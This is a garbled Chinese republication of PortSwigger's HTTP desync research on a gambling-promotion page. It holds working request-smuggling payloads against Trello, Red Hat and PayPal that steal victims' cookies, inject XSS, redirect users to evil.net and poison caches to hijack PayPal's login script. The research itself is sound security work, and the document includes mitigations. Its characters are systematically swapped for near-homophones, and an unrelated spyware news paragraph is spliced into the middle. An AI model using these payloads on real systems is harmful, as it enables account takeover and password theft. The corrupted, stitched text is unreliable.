经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下)

申博_安全防护 申博 106次浏览 已收录 0个评论

(接上文)

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下)

要求存储

假如运用程序支撑编辑或存储任何范例的文本数据,那末破绽运用就异常轻易。经由过程在受害者的要求前缀上加上一个精心设计的存储要求,我们可以让运用程序保留他们的要求并将其显现给我们,然后盗取任何身份验证cookie或标头。以下是运用其profile-edit编辑端点定位Trello的示例:

POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:[tab]chunked
Content-Length: 4
9f
PUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
x=x&csrf=1234&username=testzzz&bio=cake
0
GET / HTTP/1.1
Host: trello.com

一旦受害者的要求被我猎取,它就会保留在我的个人资料中,进而暴露出他们一切的头部和cookie:

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下)

运用这类手艺的唯一重要题目是你将丧失’&’以后发作的任何数据,这使得从表单编码的POST要求中盗取主体变得异常难题。我曾花了一些时候试图经由过程运用可选的要求编码来处置惩罚这个限定,但鉴于时候的限定,我终究照样摒弃了。

数据存储的时机并非很多,比如在另一个网站上,我运用了“联络我们”的情势,终究触发了一封包含受害者要求的电子邮件,并不测取得了2500美圆。

进击

可以将恣意前缀运用于其他人的相应,也是另一种进击门路,因为这类进击要领可以触发被感染的相应。

触发被感染的相应的重要体式格局有两种,个中最简朴的要领是发出一个“进击”要求,然后守候其他人的要求抵达后端套接字并触发有害相应。别的一个要领虽然很壮大,但也很庞杂,就是我们自身发出“进击”和“受害者”要求,并愿望对受害者要求的被污染相应经由过程Web缓存保留并供应应接见雷同URL的任何其他人,目的是完成web缓存感染。

鄙人面的每一个要求或相应片断中,黑色文本是对第二个(绿色)要求的相应。对第一个(蓝色)要求的相应被省略,因为进击顶用不到它。

晋级XSS 

在考核SaaS运用程序时,Param Miner发清楚明了一个名为SAML的参数,Burp的扫描器确认它很轻易遭到反射的XSS的进击。反射XSS自身很好,然则难以大规模运用,因为它须要用户交互。

经由过程要求私运,我们可以将包含XSS的相应发送给恣意一个阅读网站的人,从而完成直接的大规模运用。别的,我们还可以接见身份验证标头,并只接见HTTP cookie,这能够会让我们转向其他域。

POST / HTTP/1.1
Host: saas-app.com
Content-Length: 4
Transfer-Encoding : chunked
10
=x&cr={creative}&x=
66
POST /index.php HTTP/1.1
Host: saas-app.com
Content-Length: 200
SAML=a"><script>alert(1)</script>POST / HTTP/1.1
Host: saas-app.com
Cookie: …
HTTP/1.1 200 OK
…
<input name="SAML"   value="a"><script>alert(1)</script>
0
POST / HTTP/1.1
Host: saas-app.com
Cookie: …
"/>

捕捉DOM

当我在www.redhat.com上寻觅要求私运链的破绽时,我发清楚明了一个基于DOM的开放重定向,这是一个风趣的应战:

GET /assets/idx?redir=//[email protected]/ HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
<script>
var destination = getQueryParam('redir')
[poor filtering]
document.location = destination

页面上的一些JavaScript是从受害者阅读器的查询字符串中读取’redir’参数,但我如何掌握该参数呢?要求私运可以让我们可以掌握服务器须要的查询字符串,但题目是,受害者的阅读器对查询字符串的须要仅仅是他们试图接见的任何页面。

我可以经由过程链接服务器端非开放重定向来处置惩罚这个题目:

POST /css/style.css HTTP/1.1
Host: www.redhat.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Transfer-Encoding: chunked

0

POST /search?dest=../assets/idx?redir=//[email protected]/ HTTP/1.1
Host: www.redhat.com
Content-Length: 15
x=GET /en/solutions HTTP/1.1
Host: www.redhat.com
HTTP/1.1 301 Found
Location: ../assets/idx?redir=//[email protected]/

受害者阅读器将收到301重定向到https://www.redhat.com/assets/x.html?redir=//[email protected]/,然后实行基于DOM的开放重定向并在evil.net上转储它们。

CDN链接

现在一些网站运用多层反向代办和CDN,这就给了我们供应了分外的时机去同步,这类时机一向是进击者最喜欢的时机,而且平常也会增添严重性。

个中一个目的是以某种体式格局运用两层Akamai,只管服务器来自同一个供应商,但仍有能够对它们举行去同步化处置惩罚,从而在受害者网站上的Akamai收集的任何地方供应内容:

POST /cow.jpg HTTP/1.1
Host: redacted.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 50 
Transfer-Encoding: chunked 
0 
GET / HTTP/1.1 
Host: www.redhat.com 
X: XGET...
Red Hat - We make open source technologies for the enterprise

一样的观点也适用于SaaS供应商,我可以运用一个构建在有名SaaS平台上的症结网站,将要求定向到构建在雷同平台上的差别体系。

运用那些“无污染”的相应

因为要求私运许可我们影响对恣意要求的相应,所以一些平常被认为是没法举行感染的行动也可以被加以运用。比方,即使是简朴的开放重定向也可以经由过程将JavaScript导入重定向到歹意域来伤害帐户。

运用307代码的重定向迥殊有用,因为发出POST要求后收到307代码的阅读器会将POST从新发送到新的目的地,这能够意味着你可以让不知情的受害者直接将明文暗码发送到你的网站。

传统的开放重定向自身异常罕见,然则有一种经由手艺迭代的开放重定向则异常盛行,因为它源于Apache和IIS中的默许行动。因为该手艺是无害的,险些每一个人都疏忽了它。究其缘由,就是因为该手艺没有像要求私运如许的分外附带的破绽。假如你尝试接见没有斜杠的文件夹,服务器将运用重定向相应以运用主机头中的主机名附加斜杠:

POST /etc/libs/xyz.js HTTP/1.1
Host: redacted
Content-Length: 57
Transfer-Encoding: chunked
0
POST /etc HTTP/1.1
Host: burpcollaborator.net
X: XGET /etc/libs/xyz.js HTTP/1.1
HTTP/1.1 301 Moved Permanently
Location: https://burpcollaborator.net/etc/

运用此手艺时,请亲昵关注重定向中运用的协定。你可以运用像X-Forwarded-SSL如许的标头来影响它。假如它停留在HTTP上,而你正在进击HTTPS站点,则受害者的阅读器将因其夹杂内容庇护而阻挠衔接。不过有两个已知的例外情况可以完整绕过Internet Explorer的夹杂内容庇护,假如重定向目的位于其HSTS缓存中,Safari将自动晋级到HTTPS的衔接。

Web缓存感染

在针对特定网站尝试某些基于重定向的进击几个小时后,我在阅读器中打开了他们的主页以查找更多进击面并在开辟掌握台中发明以下破绽:

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下)

不管我从哪台装备加载网站,这个破绽都邑发作,而且IP地点看起来也异常熟习。在重定向探测时期,在我的受害者要求之前,已有人发清楚明了映像文件的要求,而且缓存保留了感染的相应。

首款间谍软件潜入Google Play

近日,ESET研究人员在Google Play中发现了首款基于AhMyth的间谍软件。这款恶意软件名为Radio Balouch,又名RB Music,是一款为Balouchi音乐爱好者提供流媒体广播的应用程序,不过它也有一个致命的缺陷——窃取用户的个人数据。这款应用曾两次潜入安卓官方应用商店,但在我们通知谷歌后,谷歌就迅速将其删除了。 AhMyth是一种开源Android RAT工具,于2017年底公开发布。从那时起,便有

这是潜伏影响的一个很好的证实,但总的来讲不是一个抱负的效果。除了依靠基于超时的检测以外,没有办法完整消弭不测缓存感染的能够性。也就是说,为了将风险降到最低,你可以采纳以下减缓步伐:

1.确保“受害者”要求有缓存器;

2.运用Turbo Intruder,尽快发送“受害者”要求。Turbo Intruder是一个从头开始构建的并充分考虑实在行速率的研讨级开源Burp Suite扩大。另外我还议论了有关基本HTTP滥用的例子在启用Turbo Intruder后其速率得到了明显的提拔。因而你也可以在任何你编写的东西中取得相似的速率。

3.尝试建立一个前缀,以触发带有反缓存标头的相应,或许不太能够缓存的状况代码。

4.让目的前端在一个地舆地区临时休眠;

Web缓存诳骗

Web缓存诳骗这类进击手艺比较新鲜伤害也比较大,运用这类进击手艺进击者可以泄漏服务器上存储的用户敏感信息,以至拿到用户的账户权限。固然,这类进击手艺与目的网站所运用的框架,缓存机制等要素有关。Web缓存诳骗,包含web框架以及缓存机制等在内的很多手艺都邑遭到这类进击的影响。进击者可以运用这类要领提取web用户的私家及敏感信息,在某些场景中,进击者运用这类要领以至可以完整接收用户账户。Web运用框架触及很多手艺,这些手艺存在缺省设置或脆弱性设置,这也是Web缓存诳骗进击可以见效的缘由地点。

假如我们不尝试减缓进击者或用户殽杂相应缓存的时机,效果会如何呢?

我们可以尝试运用受害者的Cookie猎取包含敏感信息的相应,而不是运用旨在致使被污染相应的前缀:

POST / HTTP/1.1
Transfer-Encoding: blah
0
GET /account/settings HTTP/1.1
X: XGET /static/site.js HTTP/1.1
Cookie: sessionid=xyz

下图就是从前端的角度看到的效果:

GET /static/site.js HTTP/1.1
HTTP/1.1 200 OK
Your payment history
…

当用户对静态资本的要求掷中感染套接字时,相应将包含其帐户详细信息,缓存将经由过程静态资本保留这些信息。然后,我们可以经由过程从缓存中加载/static/site.js来检索帐户详细信息。

这实际上是Web缓存诳骗进击的一种新变体,该变体在两个症结方面变得更壮大了,因为它不须要任何用户交互,也不须要目的站点许可你运用扩大。不过瑕玷就是,进击者不能肯定受害者的相应会发作在哪一个位置。

对PayPal的进击

因为要求私运会被链接到缓存感染,我可以延续挟制大批JavaScript文件。个中一个示例就是用于PayPal的登录页面:https://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js。

POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 
Host: c.paypal.com
Content-Length: 61 
Transfer-Encoding: chunked
0
GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 
Host: c.paypal.com
Connection: close
HTTP/1.1 302 Found
Location: http://skeletonscribe.net?, c.paypal.com/webstatic/

但是,有一个题目,就是PayPal的登录页面会运用内容平安战略与剧本src,阻挠我的重定向。

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下)

从表面上看,此次防备好像异常胜利。然则,我注重到登录页面在动态天生的iframe中加载了c.paypal.com上的一个子页面。这个子页面没有运用CSP,而且还导入了我们感染的JS文件。这使我们可以完整掌握iframe的内容,但因为同源战略,我们依然没法从父页面读取用户的PayPal暗码。

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下)

不过经由努力,我们照样在paypal.com/us/gifts上发清楚明了一个不运用CSP的页面,还导入了我们感染的JS文件。经由过程运用JS将c.paypal.com iframe重定向到该URL(第三次触发JS导入),我们终究可以接见父节点,并从运用Safari或IE登录的一切用户那边盗取明文PayPal暗码。

经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下)

实在,PayPal可以经由过程设置Akamai来谢绝包含Transfer-Encoding:chunked标头的要求,为此,我还取得了18900美圆的赏金。

几周以后,在研发和测试一些新的去同步手艺时,我决议尝试运用换行标头来对新修复的步伐举行一次进击:

Transfer-Encoding:
 chunked

这好像使得传输编码标头对Akamai完整不可见,不过Akamai可以让它经由过程并再一次授与我对PayPal登录页面的掌握权。为此PayPal敏捷运用了更壮大的处置惩罚计划,并再次嘉奖了我20000美圆。

另一个目的运用了一系列反向代办,个中一个不将’\ n’视为有用的标头终止符,这意味着他们的web基本设施中有相当大一部分轻易遭到要求私运的进击。我已录制了一个演示视频,展现了如何运用HTTP要求私运在Bugzilla装置的副本上有用地辨认和运用这个破绽,注重,该副本包含一些异常敏感的信息。Bugzilla 是一个开源的缺点跟踪体系(Bug-Tracking System),它可以治理软件开辟中缺点的提交(new),修复(resolve),封闭(close)等全部生命周期。

减缓步伐

平常功用越多,形成的进击面就越多。假如你的网站没有负载均衡器、CDN和反向代办,这类手艺就不构成要挟。相反,你引入的层越多,你就越轻易遭到进击。

每当我议论一种新的进击手艺时,都邑有人问我HTTPS是否能阻挠它。自始自终,答案是“不”。也就是说,你可以经由过程将前端服务器设置为只运用HTTP/2与后端体系通讯,或许完整禁用后端衔接重用来处置惩罚此破绽的一切变体,或许,你可以确保衔接中的一切服务器运转具有雷同设置的雷同web服务器软件。

本文中提到的这些特定实例可以经由过程从新设置前端服务器来处置惩罚,以便在路由隐约要求之前对其举行规范化。关于不想让客户遭到进击的CDN来讲,这多是唯一可行的处置惩罚计划。现在,Cloudflare和Fastly好像已运用了这一计划。

规范化要求不是后端服务器的选项,它们须要完全谢绝隐约的要求,并删除关联的衔接。因为谢绝要求比简朴地将要求规范化更有能够影响正当的流量,所以我提议将重点放在防备经由过程前端服务器举行要求私运上。

工欲善其事必先利其器,现在大多数web测试东西在发送要求时都邑自动“改正”内容长度标头,从而没法举行要求私运。在Burp Suite中,你可以运用Repeater菜单禁用此行动,确保你挑选的东西具有雷同的功用。另外,某些公司和破绽赏金平台会经由过程Squid之类的代办来测试他们的测试职员的流量以举行监控。这些将损坏测试职员提议的任何私运进击要求,确保公司对此破绽做到周全根绝。Squid是一个高性能的代办缓存服务器,Squid支撑FTP、gopher、HTTPS和HTTP协定。和平常的代办缓存软件差别,Squid用一个零丁的、非模块化的、I/O驱动的历程来处置惩罚一切的客户端要求。

与大多数web破绽差别,即使是有缺点的要求私运进击也会发作很大的伤害作用。这使得运转很活泼的网站成为了私运进击的众多之地。为了协助减缓这个题目,我们宣布了一个免费的进修资本协助人人来防备这些进击。

总结

基于多年来一向被忽视的研讨,我引入了新的手艺来对服务器举行去同步,并演示了运用大批实在网站作为案例研讨的新要领。经由过程本文,我已说清楚明了要求私运是web的一个重要要挟,HTTP要求剖析是一个平安症结函数。所以接收隐约的音讯是风险的,别的,我还宣布了一个有用要领和一个开源东西包,以协助人们检测要求私运。

本文翻译自:https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明经由过程组织特别的HTTP包来夹送歹意的HTTP要求(下)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址